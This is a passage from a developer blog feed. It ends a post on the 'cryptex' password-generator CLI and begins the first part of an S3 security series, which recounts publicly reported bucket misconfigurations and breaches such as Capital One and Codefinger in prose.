&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AJA654Id25H7MicEoDD7V7A.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AJA654Id25H7MicEoDD7V7A.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Generated and stored. No clipboard. No browser.&lt;/p&gt;

&lt;p&gt;Same for Vault:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;export VAULT_TOKEN='your-token'
cryptex -l 24 --save-vault --vault-path "secret/myapp/api-key"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And OS Keychain (macOS Keychain, GNOME Keyring, Windows Credential Manager):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cryptex -l 20 --save-keychain --keychain-service "MyApp" --keychain-account "admin"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  API Keys
&lt;/h3&gt;

&lt;p&gt;Need UUIDs?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cryptex -t api-key --api-format uuid
Cryptex - Enhanced Random Password Generator

02407a07-ff05-4078-ba0a-c478ff9e5f15
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hex?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cryptex -t api-key --api-format hex -l 40
Cryptex - Enhanced Random Password Generator

7f6bf256fa19c427ce44b5209e90d25f0568e98b
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AyeV01mArIhy_Q7bFtnoszg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AyeV01mArIhy_Q7bFtnoszg.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  TOTP / 2FA
&lt;/h3&gt;

&lt;p&gt;Adding two-factor auth to your app? You need to generate secrets for users.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cryptex --totp --totp-issuer "MyApp" --totp-account "user@example.com"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AhZght34J-KGBZVEFdlusAw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AhZght34J-KGBZVEFdlusAw.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Generates a secret, shows a QR code right in your terminal. Users scan with Google Authenticator. Done.&lt;/p&gt;

&lt;h3&gt;
  
  
  WiFi Passwords
&lt;/h3&gt;

&lt;p&gt;Guests at the office. You need to share WiFi without spelling &lt;code&gt;**_xK9#mL2$vN7@_**&lt;/code&gt; over the phone.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cryptex --template wifi --qr
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2Alt4QBxh4ghPWsLABndbwfQ.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2Alt4QBxh4ghPWsLABndbwfQ.png" width="800" height="463"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Easy-to-type password + QR code. They scan, they’re connected.&lt;/p&gt;

&lt;h3&gt;
  
  
  Quiet Mode
&lt;/h3&gt;

&lt;p&gt;For scripts and CI/CD:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PASSWORD=$(cryptex -q -l 32)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AEM-381NhzezPHhUbz0GJ1g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2AEM-381NhzezPHhUbz0GJ1g.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;No banner, no output. Just the password.&lt;/p&gt;

&lt;h3&gt;
  
  
  Password Analysis
&lt;/h3&gt;

&lt;p&gt;Want to check what you’re generating?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cryptex -l 20 -v
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2A45iF-aWdRi4H58yuvaPJiQ.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2A45iF-aWdRi4H58yuvaPJiQ.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Shows entropy, strength score, character breakdown. But what does it actually mean?&lt;/p&gt;

&lt;h3&gt;
  
  
  The Math Behind “Uncrackable”
&lt;/h3&gt;

&lt;p&gt;That &lt;code&gt;**_131.09 bits_**&lt;/code&gt; of entropy isn’t marketing fluff. Here’s the math.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Entropy = how many guesses to crack your password.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Each bit doubles the combinations. Your 20-character password with all character types:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Charset: 26 lowercase + 26 uppercase + 10 digits + 32 special = 94 characters
Entropy = 20 × log₂(94) = 131 bits
Combinations = 2¹³¹ = 2,700,000,000,000,000,000,000,000,000,000,000,000,000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At &lt;strong&gt;1 billion guesses per second&lt;/strong&gt; , that takes &lt;strong&gt;10²² years&lt;/strong&gt; to crack. The universe is 13.8 billion years old. Your password would survive heat death.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The score (90/90)&lt;/strong&gt; measures quality:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| Points | What it checks |
|----------|-----------------------------------------|
| +10 each | Length milestones (8, 12, 16, 20 chars) |
| +10 each | Lowercase, uppercase, digits present |
| +20 | Special characters present |
| -10 | Penalties for `aaa` or `123` patterns |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;90/90 = max length bonus + all character types + no dumb patterns.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Quick entropy reference:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| Entropy | Time to crack | Good for |
|-----------|---------------------|------------------------|
| 40 bits | 18 minutes | Nothing |
| 60 bits | 36 years | Throwaway accounts |
| 80 bits | 38 million years | Most accounts |
| 100+ bits | Universe dies first | Master passwords, keys |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So when your security team asks “ &lt;strong&gt;is this password strong enough?&lt;/strong&gt; ” — now you know.&lt;/p&gt;

&lt;h3&gt;
  
  
  Quick Reference
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| What you need | Command |
|----------------|-------------------------------------------------------|
| Basic password | `cryptex` |
| Longer | `cryptex -l 24` |
| Multiple | `cryptex -c 5` |
| For .env file | `cryptex --kv "A,B,C" -f env` |
| NIST compliant | `cryptex --template nist-800-63b` |
| API key | `cryptex -t api-key --api-format uuid` |
| 2FA secret | `cryptex --totp --totp-issuer "X" --totp-account "Y"` |
| Save to AWS | `cryptex --save-aws --aws-secret-name "name"` |
| WiFi + QR | `cryptex --template wifi --qr` |
| Silent | `cryptex -q` |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Links
&lt;/h3&gt;

&lt;p&gt;GitHub: &lt;a href="https://github.com/TocConsulting/cryptex" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/cryptex&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;PyPI: &lt;a href="https://pypi.org/project/cryptex-cli/" rel="noopener noreferrer"&gt;https://pypi.org/project/cryptex-cli/&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install cryptex-cli
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’s it. No more &lt;code&gt;**_openssl rand_**&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;If you found this useful, follow me for more AWS, security, and developer tools content.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>python</category>
      <category>aws</category>
      <category>devops</category>
    </item>
    <item>
      <title>The Hidden Backbone of the Internet: Why S3 Security Should Keep You Up at Night</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Thu, 15 Jan 2026 18:44:48 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/the-hidden-backbone-of-the-internet-why-s3-security-should-keep-you-up-at-night-lpm</link>
      <guid>https://dev.to/tarekcheikh/the-hidden-backbone-of-the-internet-why-s3-security-should-keep-you-up-at-night-lpm</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbzw5a095xcsu3h062z97.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbzw5a095xcsu3h062z97.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Part 1 of 4 in the S3 Security Series&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;When you scroll through Instagram, stream a movie on Netflix, or check your bank balance, you’re probably not thinking about cloud storage. But behind almost every digital experience you have today, there’s a good chance Amazon S3 is involved. And that’s exactly why its security matters more than most people realize.&lt;/p&gt;

&lt;p&gt;I’ve spent over 20 years in IT architecture and cloud computing. In the past decade working with AWS, I’ve seen organizations make the same security mistakes over and over again. Mistakes that have cost companies hundreds of millions of dollars and exposed the personal data of hundreds of millions of people.&lt;/p&gt;

&lt;p&gt;This is the first in a series of four articles where I’ll share what I’ve learned about S3 security — not from textbooks, but from real-world experience building and securing cloud infrastructure.&lt;/p&gt;

&lt;h3&gt;
  
  
  S3: The Invisible Giant
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjb82zv6sfw5gud8jbrho.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjb82zv6sfw5gud8jbrho.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let me give you some numbers that put S3’s scale into perspective.&lt;/p&gt;

&lt;p&gt;Amazon S3 currently stores over &lt;strong&gt;350 trillion objects&lt;/strong&gt; across &lt;strong&gt;exabytes of data&lt;/strong&gt;. It handles over &lt;strong&gt;100 million requests per second&lt;/strong&gt; on average. To put that in human terms: every second, S3 processes more requests than many websites receive in a year.&lt;/p&gt;

&lt;p&gt;S3 was launched on March 14, 2006 — it’s been around for almost two decades now. And in that time, it has become foundational infrastructure for the internet. Netflix runs entirely on AWS and uses S3 for all its video storage and delivery. Airbnb uses S3 for backups and static files as they scaled from a small startup to hosting over 7 million accommodations globally. Even NASA relies on AWS infrastructure for their computing and storage needs.&lt;/p&gt;

&lt;p&gt;When S3 has an outage — which is rare given its 99.99% availability design and 99.999999999% durability (that’s eleven 9s) — entire portions of the internet feel it. That’s how deeply embedded it has become in our digital infrastructure.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Security Problem Nobody Talks About
&lt;/h3&gt;

&lt;p&gt;Here’s the thing about S3: it’s incredibly easy to use. You can create a bucket, upload files, and share them in minutes. That simplicity is both its greatest strength and its biggest security risk.&lt;/p&gt;

&lt;p&gt;According to research data, as many as &lt;strong&gt;7% of all S3 servers were completely publicly accessible&lt;/strong&gt; without any authentication during the peak of S3 misconfiguration issues. &lt;strong&gt;35% were unencrypted&lt;/strong&gt;. We’re not talking about small test buckets — we’re talking about production systems holding customer data, financial records, and personal information.&lt;/p&gt;

&lt;p&gt;The issue peaked around 2017, but it didn’t stop there. These incidents have continued for years, demonstrating how difficult it can be to properly secure cloud-based resources.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Decade of S3 Breaches: A Timeline
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2A2S-2BhvoCme7dJEb1dsXOg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2A2S-2BhvoCme7dJEb1dsXOg.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let me walk you through some of the most significant S3-related breaches. These aren’t theoretical scenarios — they’re documented incidents that resulted in regulatory fines, lawsuits, and real harm to millions of people.&lt;/p&gt;

&lt;h4&gt;
  
  
  2017: The Year Everything Went Public
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Deep Root Analytics — 198 Million Voter Records&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In June 2017, security researcher Chris Vickery discovered an unsecured Amazon S3 bucket containing personal information on approximately 198 million American voters — roughly three out of every five Americans. The data was collected by Deep Root Analytics, a data analytics firm working for the Republican National Committee.&lt;/p&gt;

&lt;p&gt;The exposed data included dates of birth, mailing addresses, phone numbers, political inclinations, voter registration status, and algorithmic predictions across 48 different categories. About 1.1 terabytes of data was available to download, not password protected. Anyone could access it simply by navigating to a six-character Amazon subdomain.&lt;/p&gt;

&lt;p&gt;The data was exposed on June 1, 2017, when the firm updated security settings. It was discovered on June 12 and secured on June 14.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Verizon — 14 Million Customer Records&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The same month, another researcher discovered a cloud-based Amazon S3 data repository that was fully downloadable and configured to allow public access. The cloud server was owned by NICE Systems, a third-party vendor handling Verizon’s back-office and call center operations.&lt;/p&gt;

&lt;p&gt;The exposed data included customer names, phone numbers, and account PINs — enough information for anyone to access individual accounts, even those protected by two-factor authentication. Verizon was notified on June 13 about the exposure, but the bucket wasn’t locked down until June 22.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Accenture — Internal Credentials Exposed&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Also in 2017, Accenture accidentally exposed sensitive data due to improperly secured AWS S3 buckets. The mistake could have allowed attackers to access internal credentials and encryption keys — essentially giving them the keys to the kingdom.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Dow Jones &amp;amp; Company — 2 Million+ Customer Records&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The parent company of the Wall Street Journal exposed personal information about more than 2 million customers through misconfigured S3 permissions. The permissions were set to allow anyone with a free AWS account to access servers containing millions of customer account details.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WWE — Fan Database Exposed&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;World Wrestling Entertainment leaked information about wrestling fans including addresses, birthdates, educational background, ethnicity, earnings, and children’s age ranges. The database was found on an S3 server with no authentication required.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Alteryx — 123 Million Households&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Marketing and analytics company Alteryx put sensitive data at risk for the majority of American households. A database containing addresses, phone numbers, mortgage ownership, ethnicity, and personal interest information about 123 million households was exposed on a publicly accessible S3 storage cache.&lt;/p&gt;

&lt;h4&gt;
  
  
  2019: The Capital One Breach
&lt;/h4&gt;

&lt;p&gt;This is the one that changed everything.&lt;/p&gt;

&lt;p&gt;On July 19, 2019, Capital One discovered that someone had accessed customer information stored in their AWS environment. The breach affected approximately &lt;strong&gt;100 million individuals in the United States&lt;/strong&gt; and about &lt;strong&gt;6 million in Canada&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The exposed data included names, addresses, dates of birth, credit scores, transaction data, more than 100,000 Social Security numbers, and approximately 1 million Canadian Social Insurance Numbers. The breach represented one of the largest data breaches ever affecting the financial services industry.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How It Happened&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The attacker, a former AWS engineer named Paige Thompson, exploited a server-side request forgery (SSRF) vulnerability. The attack path involved:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A misconfigured Web Application Firewall (WAF) that could be tricked into executing commands
&lt;/li&gt;
&lt;li&gt;Access to the AWS metadata service, which provided temporary credentials
&lt;/li&gt;
&lt;li&gt;An over-provisioned IAM role that granted access to S3 storage buckets
&lt;/li&gt;
&lt;li&gt;The ability to copy 30 GB of customer data across 700 different S3 buckets&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The breach actually occurred between March 22–23, 2019, but wasn’t discovered until July — a four-month gap where the attacker had access to the data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Consequences&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The financial impact was staggering:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;$80 million&lt;/strong&gt; fine from the Office of the Comptroller of the Currency (OCC)
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;$190 million&lt;/strong&gt; settlement for customer lawsuits
&lt;/li&gt;
&lt;li&gt;Nearly &lt;strong&gt;$300 million&lt;/strong&gt; in total losses including litigation, settlement fees, and remediation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Paige Thompson was convicted on seven federal charges related to the data theft.&lt;/p&gt;

&lt;h4&gt;
  
  
  2020–2021: The Breaches Continue
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Prestige Software — 10 Million Hotel Booking Records (2020)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In November 2020, security researchers discovered that Prestige Software had exposed over 10 million records related to its Cloud Hospitality platform. This affected users of major travel websites including Booking.com, Expedia, and Hotels.com. The exposed data included customer names and credit card numbers — all because of a misconfigured S3 bucket.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Twitch — 125 GB Data Leak (2021)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In October 2021, Amazon-owned streaming platform Twitch suffered a massive data breach. An anonymous actor leaked a 125 GB torrent file containing the entirety of Twitch’s source code (6,000 internal Git repositories), creator payout reports from 2019, proprietary SDKs and internal AWS services, internal security tools, and an unreleased Steam competitor codenamed “Vapor.”&lt;/p&gt;

&lt;p&gt;Security researchers found nearly 6,600 secrets inside the Twitch Git repositories, including 194 AWS keys, 69 Twilio keys, 68 Google API keys, hundreds of database connection strings, and 14 GitHub OAuth keys.&lt;/p&gt;

&lt;p&gt;The cause? A server configuration error that allowed unauthorized access. One credible theory based on forensic analysis suggests it came from a compromised S3 bucket.&lt;/p&gt;

&lt;h4&gt;
  
  
  2022: Aviation and Education Under Fire
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Pegasus Airlines — 6.5 TB of Flight Data (February 2022)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In February 2022, SafetyDetectives researchers discovered an unprotected AWS S3 bucket belonging to Pegasus Airlines containing 6.5 terabytes of “Electronic Flight Bag” information. The exposed data included navigation information, proprietary software, and personal information pertaining to flight crew members. Once notified, Pegasus Airlines promptly secured the bucket — but the exposure demonstrated how even aviation companies weren’t immune to basic misconfigurations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Securitas Airport Data — 3 TB Affecting Multiple Airports (2022)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A misconfigured Amazon S3 bucket resulted in 3TB of airport security data — more than 1.5 million files — being publicly accessible without any authentication. The exposure affected at least four airports in Colombia and Peru. The leaked data included photos of airline employees, national ID cards, information about planes, fuel lines, and GPS map coordinates. Security researchers noted that this information “could present a serious threat if leveraged by terrorist groups or criminal organizations.”&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;McGraw Hill — 22 TB of Student Data (2022)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Educational publishing giant McGraw Hill exposed more than 100,000 students’ information through misconfigured S3 buckets. The buckets contained over 22 TB of data and 117 million files, including Excel sheets with student names, email addresses, and grades. The exposed data was linked to prestigious institutions including Johns Hopkins University, University of Michigan, UCLA, and Canada’s McGill University. The most alarming part? The misconfigured buckets could have been accessed by anyone with a web browser as far back as 2015 — potentially a seven-year exposure window.&lt;/p&gt;

&lt;h4&gt;
  
  
  2023: Global Organizations Fall Victim
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Capita — UK Government Contractor Data Leak&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Capita, a major UK government contractor, had sensitive data from councils, residents, and other sources leaked due to a misconfigured S3 bucket. The breach highlighted how third-party vendors remain a significant weak point in the supply chain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MPD FM — UK Government Employee Data&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;MPD FM, a facility management and security company serving UK government departments, exposed passports, visas, national IDs, and employee data through a misconfigured S3 bucket.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tata Motors — 70+ TB of Fleet Data&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A breach at Tata Motors revealed multiple critical security oversights that allowed unauthorized access to customer databases, financial records, fleet tracking systems, and administrative dashboards. One exposed bucket contained over 70 terabytes of fleet data spanning back to 1996.&lt;/p&gt;

&lt;h4&gt;
  
  
  2024–2025: The Problem Persists
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;ESHYFT Healthcare Data Exposure (2025)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In early 2025, security researcher Jeremiah Fowler discovered a non-password-protected AWS S3 bucket belonging to ESHYFT, a healthcare staffing platform. The exposed database contained 86,341 records totaling 108.8 gigabytes of sensitive data belonging to US nurses, including profile images, professional licenses, certifications (CPR cards, BLS certifications), tax documents (W2 forms), partial Social Security numbers, and work schedule information. The bucket was secured on March 5, 2025, demonstrating that healthcare-adjacent organizations continue to struggle with basic cloud security.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Indian Bank Transfer Records — 273,000 Documents (2025)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In August 2025, UpGuard discovered a public Amazon S3 storage bucket containing over 273,000 PDF documents detailing bank transfers in India. Each file documented a single transaction, revealing unredacted bank account numbers, transaction amounts, names, phone numbers, and email addresses. The breach affected customers of at least 38 banks and financial institutions, including State Bank of India and Punjab National Bank. The bucket was indexed by GrayhatWarfare, a searchable database of publicly visible cloud storage, before being secured on September 4.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Codefinger Ransomware Campaign (January 2025)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Perhaps most alarming is a new attack vector that emerged in early 2025. Security firm Halcyon identified a threat actor group called “Codefinger” conducting ransomware attacks that leverage AWS’s own encryption infrastructure against customers.&lt;/p&gt;

&lt;p&gt;The attack works like this: using compromised AWS credentials, attackers encrypt S3 bucket data using Server-Side Encryption with Customer-Provided Keys (SSE-C). Once encrypted, recovery is impossible without the attacker’s key — neither the victim nor AWS can decrypt the data. The attackers then demand ransom payments for the decryption keys.&lt;/p&gt;

&lt;p&gt;AWS’s Customer Incident Response Team confirmed they “detected a pattern where a large number of S3 CopyObject operations using SSE-C began to overwrite objects” and implemented automatic mitigations. But this attack represents a fundamental shift: instead of just exposing data, attackers can now hold it hostage using AWS’s own security features.&lt;/p&gt;

&lt;p&gt;A 2024 Palo Alto Networks study found over 90,000 leaked .env files containing 1,185 AWS access keys — each one a potential entry point for this type of attack.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Scale of the Problem Today
&lt;/h4&gt;

&lt;p&gt;According to research by Lightspin (now Gem Security), approximately 46% of S3 buckets are potentially misconfigured, with many still publicly accessible. The Fortinet 2025 Global Threat Landscape Report notes that “cloud environments remain a top target, with adversaries exploiting persistent weaknesses, such as open storage buckets, over-permissioned identities, and misconfigured services.”&lt;/p&gt;

&lt;p&gt;We’re not talking about a problem that was solved years ago. This is an ongoing crisis.&lt;/p&gt;

&lt;h3&gt;
  
  
  Understanding the Root Cause: OWASP Top 10
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2A8TgXkovRBeZXOxxiC_YUKw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F1024%2F1%2A8TgXkovRBeZXOxxiC_YUKw.png" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you’re familiar with the OWASP Top 10, these breaches won’t surprise you. Security Misconfiguration is now ranked &lt;strong&gt;#5 in the OWASP Top 10 2021&lt;/strong&gt;  — up from #6 in the previous edition.&lt;/p&gt;

&lt;p&gt;According to OWASP, 90% of applications tested showed some form of misconfiguration, with over 208,000 occurrences of Common Weakness Enumeration (CWE) issues in this risk category.&lt;/p&gt;

&lt;p&gt;OWASP specifically calls out cloud storage permissions: “Review cloud storage permissions (e.g., S3 bucket permissions)” as a key prevention measure.&lt;/p&gt;

&lt;p&gt;The pattern across all these breaches is remarkably consistent:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Default configurations left unchanged&lt;/strong&gt;  — S3 buckets created with default settings that may allow unintended access&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unnecessary features enabled&lt;/strong&gt;  — Permissions granted that weren’t actually needed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Missing security hardening&lt;/strong&gt;  — Basic protections like encryption and logging not configured&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Improper access controls&lt;/strong&gt;  — Overly permissive policies that expose data to the internet&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Why Does This Keep Happening?
&lt;/h3&gt;

